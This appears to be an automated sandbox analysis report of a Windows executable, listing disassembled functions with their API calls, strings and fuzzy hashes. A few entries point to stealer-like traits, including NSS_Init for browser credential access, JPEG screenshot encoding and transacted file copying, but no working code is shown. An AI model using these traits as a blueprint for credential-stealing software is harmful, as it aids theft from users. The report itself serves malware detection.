API ID: _strlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 4218353326-51310709
Opcode ID: 8b05c3c78218fd32330b2a9acdfb1272f6e28c4779156d0b79eb8436e4ee90a6
Instruction ID: ee246df4950662393981a60776152d131a6d0e2992517726c757e4566b3898f2
Opcode Fuzzy Hash: 8b05c3c78218fd32330b2a9acdfb1272f6e28c4779156d0b79eb8436e4ee90a6
Instruction Fuzzy Hash: 8D114F16248B1234B5296137BC43FAB97885E0A734F38156FE408749C3EE9DB546426D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E4E9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 63COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMT ref: 0041E544
std::bad_exception::bad_exception.LIBCMT ref: 0041E554
std::bad_exception::bad_exception.LIBCMT ref: 0041E564
std::bad_exception::bad_exception.LIBCMT ref: 0041E587

Strings

false, xrefs: 0041E52D
h`H, xrefs: 0041E559
hD`H, xrefs: 0041E579
C:\Users\a13xuiop1337\Desktop\_Work\rc-build-v1-exe\json.hpp, xrefs: 0041E528

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: std::bad_exception::bad_exception
String ID: C:\Users\a13xuiop1337\Desktop\_Work\rc-build-v1-exe\json.hpp$false$hD`H$h`H
API String ID: 2160870905-2834071688
Opcode ID: 1d1595615440bce531135e6b603656b65459e7cc7de924c558eca6fdf59fdddc
Instruction ID: a7a6efc64e2c3370057450d787760e6bfc4749f55610feb3d13a7ba6c9c7fb31
Opcode Fuzzy Hash: 1d1595615440bce531135e6b603656b65459e7cc7de924c558eca6fdf59fdddc
Instruction Fuzzy Hash: ED112775840314B5CB1AE7ABCC49FEF3766AB0530CB24850FBA12215C1A56D958AC25E

Uniqueness

Uniqueness Score: -1.00%

Function 00460FC2, Relevance: 13.7, APIs: 9, Instructions: 200COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00461030
_free.LIBCMT ref: 0046103C
_free.LIBCMT ref: 00461165
_free.LIBCMT ref: 00461170

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: b24ebe1ba2f7c3c85266f61ee81ef2e70811caf9ef46cc8d703dba0f4e0f1218
Instruction ID: 7fad155d040f0ebbbcb42eb8601b5d3bd917248ae5a5d701737e9e031cf1dd52
Opcode Fuzzy Hash: b24ebe1ba2f7c3c85266f61ee81ef2e70811caf9ef46cc8d703dba0f4e0f1218
Instruction Fuzzy Hash: 6B61F372904304AFDB20DF68C841BABB7F9AF09710F14442FE945EB292FB749D458B59

Uniqueness

Uniqueness Score: -1.00%

Function 00442FD0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00443007
___except_validate_context_record.LIBVCRUNTIME ref: 0044300F
_ValidateLocalCookies.LIBCMT ref: 00443098
__IsNonwritableInCurrentImage.LIBCMT ref: 004430C3
_ValidateLocalCookies.LIBCMT ref: 00443118

Strings

csm, xrefs: 004430AD

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c5208eb12b75bfc78805c2d165da7abc7058d90f3ad04288a32a286829f35056
Instruction ID: 64ef3a0d4cb7419a687d0d0bee292759873a5dc5ea1750a500918b4d74e8852b
Opcode Fuzzy Hash: c5208eb12b75bfc78805c2d165da7abc7058d90f3ad04288a32a286829f35056
Instruction Fuzzy Hash: 8041F834A00208DFDF10DF69C881A9EBBB1AF44729F14815BED149B396D73ADE05CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00458564, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

ext-ms-, xrefs: 004585CF
api-ms-, xrefs: 004585BB

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: c24ff15a6e940031e93de70274f33fec7e4f58ef19c1fa903223bad470c73441
Instruction ID: 7b4e2d923f192af0fb717d5e812078e0a7dd1245f90383e931d50bbb40c24041
Opcode Fuzzy Hash: c24ff15a6e940031e93de70274f33fec7e4f58ef19c1fa903223bad470c73441
Instruction Fuzzy Hash: 79210871A01214BBCB214B648C40A6B3758AB01762F21057BEC56B7393EE78ED09C5ED

Uniqueness

Uniqueness Score: -1.00%

Function 0044ED80, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,C:\Users\a13xuiop1337\Desktop\_Work\rc-build-v1-exe\json.hpp,00000000,00000001), ref: 0044EDA0
GetFileType.KERNEL32(00000000), ref: 0044EDB2
swprintf.LIBCMT ref: 0044EDD3
WriteConsoleW.KERNEL32(00000000,?,?,?,00000000), ref: 0044EE10

Strings

Assertion failed: %Ts, file %Ts, line %d, xrefs: 0044EDC8
C:\Users\a13xuiop1337\Desktop\_Work\rc-build-v1-exe\json.hpp, xrefs: 0044ED9A

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ConsoleFileHandleTypeWriteswprintf
String ID: Assertion failed: %Ts, file %Ts, line %d$C:\Users\a13xuiop1337\Desktop\_Work\rc-build-v1-exe\json.hpp
API String ID: 2943507729-4168708805
Opcode ID: 403c77b7a1e07bde9adcedd8357bc9c531efbdd2e9682c7b3ad3ffd5f677888b
Instruction ID: 999777cb7590d56217999ca525a185d9daae9cceb359faadc1161862d9269751
Opcode Fuzzy Hash: 403c77b7a1e07bde9adcedd8357bc9c531efbdd2e9682c7b3ad3ffd5f677888b
Instruction Fuzzy Hash: 2D115B71500019ABEB20AF2ACC859FFB3ACFF45315F50465EFA1693142EA349D458B6C

Uniqueness

Uniqueness Score: -1.00%

Function 0041E5C1, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMT ref: 0041E61C
std::bad_exception::bad_exception.LIBCMT ref: 0041E62C
std::bad_exception::bad_exception.LIBCMT ref: 0041E63C
std::bad_exception::bad_exception.LIBCMT ref: 0041E65F

Strings

false, xrefs: 0041E605
C:\Users\a13xuiop1337\Desktop\_Work\rc-build-v1-exe\json.hpp, xrefs: 0041E600

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: std::bad_exception::bad_exception
String ID: C:\Users\a13xuiop1337\Desktop\_Work\rc-build-v1-exe\json.hpp$false
API String ID: 2160870905-989211897
Opcode ID: 6d1ebc2666172945fbd35e2f100b204cf24d61c73ee7ff038c772ceff4d688ea
Instruction ID: c6bf861c258c7d696936c29a821bf65107a9108853038034dd4ee1e2b1c0f5e2
Opcode Fuzzy Hash: 6d1ebc2666172945fbd35e2f100b204cf24d61c73ee7ff038c772ceff4d688ea
Instruction Fuzzy Hash: 79115939940304E9CB0AF76BCC5AFEF77206B21708FE4810FB912225C2866DA48EC35D

Uniqueness

Uniqueness Score: -1.00%

Function 004443CE, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,0044448F,00000000,00000FA0,0048CADC,00000000,?,004445BA,00000004,InitializeCriticalSectionEx,004707A0,004707A8,00000000), ref: 0044445E

Strings

31D, xrefs: 00444419, 00444423, 00444434
api-ms-, xrefs: 0044441E

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FreeLibrary
String ID: 31D$api-ms-
API String ID: 3664257935-1109871916
Opcode ID: 1c44fd20675b147f31c24609f98dd2ee3b2a0615068dc53139f9e684acf6e00a
Instruction ID: 5c96f3b6ebe8230dec842e0fc8c737702ccca032f21c81a2f141c520b7981c3a
Opcode Fuzzy Hash: 1c44fd20675b147f31c24609f98dd2ee3b2a0615068dc53139f9e684acf6e00a
Instruction Fuzzy Hash: E7118A31A01621ABEF214BA89C8576A37949F81775F150163ED55E7380D778FD008ADE

Uniqueness

Uniqueness Score: -1.00%

Function 004469D3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004469C8,00411508,?,00446990,000000FF,?,00411508), ref: 004469E8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004469FB
FreeLibrary.KERNEL32(00000000,?,?,004469C8,00411508,?,00446990,000000FF,?,00411508), ref: 00446A1E

Strings

mscoree.dll, xrefs: 004469E1
CorExitProcess, xrefs: 004469F3

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2c3558538c215dd9f86f34c1afb0b23672d7fe43918634b548c31de57e451036
Instruction ID: 8c6c19b49ac2c37aec918b19046dfb20dc84b9c0fed29a42a55399f78a974c6a
Opcode Fuzzy Hash: 2c3558538c215dd9f86f34c1afb0b23672d7fe43918634b548c31de57e451036
Instruction Fuzzy Hash: 99F08930501614FBEB119B90DC49BDE7A65EB01755F104061E805B1250D7B48E00DE9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041EB16, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0041EB22

Part of subcall function 0040822F: ___std_exception_copy.LIBVCRUNTIME ref: 0040824D

std::exception::exception.LIBCMT ref: 0041EB3A

Strings

yA, xrefs: 0041EB1C, 0041EB21
yA, xrefs: 0041EB1A
prA, xrefs: 0041EB27

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: std::exception::exception$___std_exception_copy
String ID: prA$yA$yA
API String ID: 3231571295-2720465497
Opcode ID: da46a8181b937c30dd4f8f0e51116fb805ba04bfa415ec160d7c6c92507347f8
Instruction ID: ec6e23af6ccf7664c8d9c56b340893f3e81d4de84d50ec6f95cbfa29bf545886
Opcode Fuzzy Hash: da46a8181b937c30dd4f8f0e51116fb805ba04bfa415ec160d7c6c92507347f8
Instruction Fuzzy Hash: 0BE04F722003046BC704EF56E8C18A6F7BCFA55724300856FE9548B341DBB4E9148BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0045F076, Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0045F0F8
_free.LIBCMT ref: 0045F11C
_free.LIBCMT ref: 0045F2A9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004733C0), ref: 0045F2BB
_free.LIBCMT ref: 0045F475

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: eeadec4467205dde747c6e9682c06d738a9f601c2feb7d975c9ae6efce9fa53d
Instruction ID: ba0085db56eb57b06351a9e8a3eb5ef1c8c6eb822e582d626f7615e75bbff4d4
Opcode Fuzzy Hash: eeadec4467205dde747c6e9682c06d738a9f601c2feb7d975c9ae6efce9fa53d
Instruction Fuzzy Hash: 37C13471900244ABDB24AB69DC45AAF7BB9AF05315F1444BFEC8097383E7389E0DC75A

Uniqueness

Uniqueness Score: -1.00%

Function 0045C7A9, Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0045C82D
__alloca_probe_16.LIBCMT ref: 0045C8F3
__freea.LIBCMT ref: 0045C95F

Part of subcall function 00458F7E: RtlAllocateHeap.NTDLL(00000000,0043E8E3,00000000,?,00440BCE,00000002,00000000,?,?,?,00408226,0043E8E3,00000004,00000000,00000000,00000000), ref: 00458FB0

__freea.LIBCMT ref: 0045C968
__freea.LIBCMT ref: 0045C98B

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 591dd2d05041c196d3e24835227e47cf4a472c936216570c7d764ae30d9f8f7c
Instruction ID: 44494f841a6b82cdf261ee49cdb7e9d1ca18d57e7194e33fae6b5e2d3ed46b1b
Opcode Fuzzy Hash: 591dd2d05041c196d3e24835227e47cf4a472c936216570c7d764ae30d9f8f7c
Instruction Fuzzy Hash: B451F5B2500306AFDB205F658C81EBB36A9EF45756F15012FFC04A7252EB38DC49D6A9

Uniqueness

Uniqueness Score: -1.00%

Function 00410FF8, Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0041100B
int.LIBCPMT ref: 00411022

Part of subcall function 004088FA: std::_Lockit::_Lockit.LIBCPMT ref: 0040890B
Part of subcall function 004088FA: std::_Lockit::~_Lockit.LIBCPMT ref: 00408925

std::_Facet_Register.LIBCPMT ref: 0041105C
std::_Lockit::~_Lockit.LIBCPMT ref: 00411072
Concurrency::cancel_current_task.LIBCPMT ref: 00411087

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3151a77c69cd956a0e6d178b0696849cd992b6b2e860dcdbc994cb3fd87be435
Instruction ID: 8bfd4e51ba184fed4366684bf4712193a1597c64fd3eed9941242abb7a440409
Opcode Fuzzy Hash: 3151a77c69cd956a0e6d178b0696849cd992b6b2e860dcdbc994cb3fd87be435
Instruction Fuzzy Hash: 2211CE72D002249BCB14EB95D805AEEBB64EB44368F20466FF411A73E1EB789E40C799

Uniqueness

Uniqueness Score: -1.00%

Function 00460F59, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00460F71

Part of subcall function 00457DD3: RtlFreeHeap.NTDLL(00000000,00000000,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?), ref: 00457DE9
Part of subcall function 00457DD3: GetLastError.KERNEL32(?,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?,?), ref: 00457DFB

_free.LIBCMT ref: 00460F83
_free.LIBCMT ref: 00460F95
_free.LIBCMT ref: 00460FA7
_free.LIBCMT ref: 00460FB9

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 690b6748e1128436a3c180894b163320ef555ff0256e91492446b1cc08d99830
Instruction ID: 3c75b776fb7c3c0543c5eedae979edeed4cadaceb8dc338c01465ea7079a22c4
Opcode Fuzzy Hash: 690b6748e1128436a3c180894b163320ef555ff0256e91492446b1cc08d99830
Instruction Fuzzy Hash: CFF0FF32508210EB8674EB59F985C2B73EAAE007147944C1EF858D7A01DF78FC854B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041CD59, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,00000001,00000000), ref: 0041B9DB

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Strings

,p@C, xrefs: 0041BAB1
KEB_, xrefs: 0041BAB8
B, xrefs: 0041BAC8

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DeallocateInit
String ID: ,p@C$B$KEB_
API String ID: 3465291206-640950708
Opcode ID: 6ba01cc3c4ca3e2b0f5aff7708772da6331fbf464a9e3afc4e001cef337f1bcc
Instruction ID: 42a072894c21e4880126e876e5a309e7dfa067972b2bf516794e5c8958eb7b6a
Opcode Fuzzy Hash: 6ba01cc3c4ca3e2b0f5aff7708772da6331fbf464a9e3afc4e001cef337f1bcc
Instruction Fuzzy Hash: E1415770C04269CADF21CFA4C895BEDBBB1AF14304F1451EED54877242DB781A89CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00408BE9, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

std::system_error::system_error.LIBCPMT ref: 00408C57

Strings

ios_base::eofbit set, xrefs: 00408C1A
ios_base::badbit set, xrefs: 00408C0B, 00408C2B
ios_base::failbit set, xrefs: 00408C15, 00408C51

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: std::system_error::system_error
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2416138045-1866435925
Opcode ID: 8c57c57c9a1e0c457ea54fc5fbf92184b4d0d4a1ed6d096a8b983d4eb395264b
Instruction ID: 75d62ed49fd1f0b0523a358eccdc5545b9690aa12aa77f5b7cae35b38ebfcb80
Opcode Fuzzy Hash: 8c57c57c9a1e0c457ea54fc5fbf92184b4d0d4a1ed6d096a8b983d4eb395264b
Instruction Fuzzy Hash: 3701F7729052086BDB14AA54CD02BEA77A89B04354F54803FFEC9BB1C2DE7D9D4287AC

Uniqueness

Uniqueness Score: -1.00%

Function 004665FE, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004666CE
_free.LIBCMT ref: 004666F7
SetEndOfFile.KERNEL32(00000000,00463ECC,00000000,0045A6C9,?,?,?,?,?,?,?,00463ECC,0045A6C9,00000000), ref: 00466729
GetLastError.KERNEL32(?,?,?,?,?,?,?,00463ECC,0045A6C9,00000000,?,?,?,?,00000000), ref: 00466745

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: bc114bdce27b0edd9146bd5d7e8cabf1670c4cc1e047a081847ed0f144ff9504
Instruction ID: 857fc7efa1643ca3efe2173e0335ea54e373308c5993cbb9d8db0241aad402e6
Opcode Fuzzy Hash: bc114bdce27b0edd9146bd5d7e8cabf1670c4cc1e047a081847ed0f144ff9504
Instruction Fuzzy Hash: C141FA325006019BDB11AFBADC42A9E7765EF44369F16011BF914E7292FB3CD844876E

Uniqueness

Uniqueness Score: -1.00%

Function 00434D17, Relevance: 6.1, APIs: 4, Instructions: 76stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,?), ref: 00434D48
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000010,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00434D67
lstrcpyA.KERNEL32(00000000,00000000), ref: 00434D8A
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00434DB6

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ByteCharMultiWide$lstrcpylstrlen
String ID:
API String ID: 3705784190-0
Opcode ID: 195e81e76d9857f0e3696ed171c5a9260087aa56db61ccabb2e893e514b9d210
Instruction ID: 25d0a9373f65ae864e1d7f7ee8d1360f9416c7ea9c28668b07efc478fe873e35
Opcode Fuzzy Hash: 195e81e76d9857f0e3696ed171c5a9260087aa56db61ccabb2e893e514b9d210
Instruction Fuzzy Hash: 5E213075910204FFEB159FA4DC09ABEBBF9EF48300F14456EF481D6290EAB4AD40DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00456FBB, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
_free.LIBCMT ref: 0045701D
_free.LIBCMT ref: 00457053
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 93d2377ca5531259dae8b18f0ac9a60e5ca91f2cf73d17a3e7931670f02c998e
Instruction ID: 2aff35593b4439e5b7a1ae5ef7e7469a8e72c85c77aa3ca1b4b642d814e537a3
Opcode Fuzzy Hash: 93d2377ca5531259dae8b18f0ac9a60e5ca91f2cf73d17a3e7931670f02c998e
Instruction Fuzzy Hash: 1611A7326082016AD61137B6BCC5D2B255A8BC177BB65063FFD24A72E3DD6D8C0E462D

Uniqueness

Uniqueness Score: -1.00%

Function 0041287B, Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,00000000,?,00000000,?,?,00416132,?,?,?), ref: 00412891
CopyFileTransactedA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004128B7
CommitTransaction.KTMW32(00000000,?,00416132,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004128C2
RollbackTransaction.KTMW32(00000000,?,00416132,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004128CA

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Transaction$CommitCopyCreateFileRollbackTransacted
String ID:
API String ID: 2868256026-0
Opcode ID: 960f22376e5add92b8441b4299c7749014b695dfabf9c0f682a0adbb781a3c76
Instruction ID: 7b6295c7f8b82d28b203b980784666d5f54b83a90212c8b54da377198da4f514
Opcode Fuzzy Hash: 960f22376e5add92b8441b4299c7749014b695dfabf9c0f682a0adbb781a3c76
Instruction Fuzzy Hash: 70F0A471210114BFF7146A689E88DB7366CDB4A3707100722FD25D22D0E7E49CD187BA

Uniqueness

Uniqueness Score: -1.00%

Function 004664FB, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(0044630E,0043EE85,?,00000000,0044630E,?,0046320F,0044630E,00000001,0044630E,0044630E,?,0045775B,00000000,8304488B,0044630E), ref: 00466512
GetLastError.KERNEL32(?,0046320F,0044630E,00000001,0044630E,0044630E,?,0045775B,00000000,8304488B,0044630E,00000000,0044630E,?,00457CAF,00000010), ref: 0046651E

Part of subcall function 004664E4: CloseHandle.KERNEL32(FFFFFFFE,0046652E,?,0046320F,0044630E,00000001,0044630E,0044630E,?,0045775B,00000000,8304488B,0044630E,00000000,0044630E), ref: 004664F4

___initconout.LIBCMT ref: 0046652E

Part of subcall function 004664A6: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004664D5,004631FC,0044630E,?,0045775B,00000000,8304488B,0044630E,00000000), ref: 004664B9

WriteConsoleW.KERNEL32(0044630E,0043EE85,?,00000000,?,0046320F,0044630E,00000001,0044630E,0044630E,?,0045775B,00000000,8304488B,0044630E,00000000), ref: 00466543

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d2a14a4d4d8a0431a7d46cfe457be35950f5a935016e106225a78b7c3e638dff
Instruction ID: d45b7528bf61f478484cb5382485b2d49b0a4c1342dae0f0c93d10ed71a09509
Opcode Fuzzy Hash: d2a14a4d4d8a0431a7d46cfe457be35950f5a935016e106225a78b7c3e638dff
Instruction Fuzzy Hash: A2F03736401159BFCF222FD5DC4599E3F65FB053A0B014065FD19A5131EA3188209BDA

Uniqueness

Uniqueness Score: -1.00%

Function 00454922, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0045492B

Part of subcall function 00457DD3: RtlFreeHeap.NTDLL(00000000,00000000,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?), ref: 00457DE9
Part of subcall function 00457DD3: GetLastError.KERNEL32(?,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?,?), ref: 00457DFB

_free.LIBCMT ref: 0045493E
_free.LIBCMT ref: 0045494F
_free.LIBCMT ref: 00454960

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f5ed52bcd70bbac3e6d0c374cdeb4d6607e1e2c081086478d2616dfdc5eb7981
Instruction ID: 5443628c95004d2d930962af89fca876671d0fd61e6e3de87ec52e593974efc8
Opcode Fuzzy Hash: f5ed52bcd70bbac3e6d0c374cdeb4d6607e1e2c081086478d2616dfdc5eb7981
Instruction Fuzzy Hash: F8E09AB1815220EA8A026F15FD8646F3B63AF48756301583FF81012673C77606799BEE

Uniqueness

Uniqueness Score: -1.00%

Function 004526CD, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0045275D

Strings

pow, xrefs: 00452735, 00452752

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8e3672804adeb96ccf5e2a6ccfba9b9d8e2330130dd3d46d46006ac1d4f3f772
Instruction ID: e38e1fc098b31678af74a663b23ec67be7d74bc63121764bd0204b53f0c03ddc
Opcode Fuzzy Hash: 8e3672804adeb96ccf5e2a6ccfba9b9d8e2330130dd3d46d46006ac1d4f3f772
Instruction Fuzzy Hash: 7F517C6190810286DB1ABB16CB0136F27A4DB41703F204D6FECC9413EBEA7C8DCD9A4E

Uniqueness

Uniqueness Score: -1.00%

Function 00426630, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 0042664B
GdipGetImageEncoders.GDIPLUS(?,?,00000000), ref: 00426670

Strings

image/jpeg, xrefs: 0042667E

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: EncodersGdipImage$Size
String ID: image/jpeg
API String ID: 864223233-3785015651
Opcode ID: 6d325bb245b5a8b90039b6a836da28f80ed3382fc4d0d309363106016648ca8a
Instruction ID: 3ea92ed3b3fa543dac2c2ae8fccdb9d0ebc88b5d6b754f768e7bf3d21e7ae0c0
Opcode Fuzzy Hash: 6d325bb245b5a8b90039b6a836da28f80ed3382fc4d0d309363106016648ca8a
Instruction Fuzzy Hash: CF11E776E00118EB8B01DF99AC8059EBBBAFE41320F61026FE810B2280C7755E458A58

Uniqueness

Uniqueness Score: -1.00%

Function 004124B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

___std_fs_get_file_id@8.LIBCPMT ref: 004124D2
___std_fs_get_file_id@8.LIBCPMT ref: 004124E6

Part of subcall function 0043E297: ___std_fs_open_handle@16.LIBCPMT ref: 0043E2D6

Strings

&A, xrefs: 004124E2, 004124F3, 004124E5, 004124F6

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ___std_fs_get_file_id@8$___std_fs_open_handle@16
String ID: &A
API String ID: 3410519196-848629951
Opcode ID: bd3714123dd66efec67fd25c55317524e8a2101a390f239715f237fc5f379223
Instruction ID: 6ba8bcec3ea5f62c8dfd4b8959e86ecda1b64cc73513a32d17432999e913b802
Opcode Fuzzy Hash: bd3714123dd66efec67fd25c55317524e8a2101a390f239715f237fc5f379223
Instruction Fuzzy Hash: 00012B72942114ABCB10DEB9DA41CDB77AD9F05314710052BF500D7200EA78D956C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 0043E912, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMT ref: 0043E91E

Part of subcall function 0041711B: std::exception::exception.LIBCONCRT ref: 00417124

Part of subcall function 00442F03: KiUserExceptionDispatcher.NTDLL(E06D7363,00000001,00000003,00000000,?,?,0043E8F1,00000000,004854A8,?), ref: 00442F63

Strings

bad function call, xrefs: 0043E932
h UH, xrefs: 0043E923

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DispatcherExceptionUserstd::bad_exception::bad_exceptionstd::exception::exception
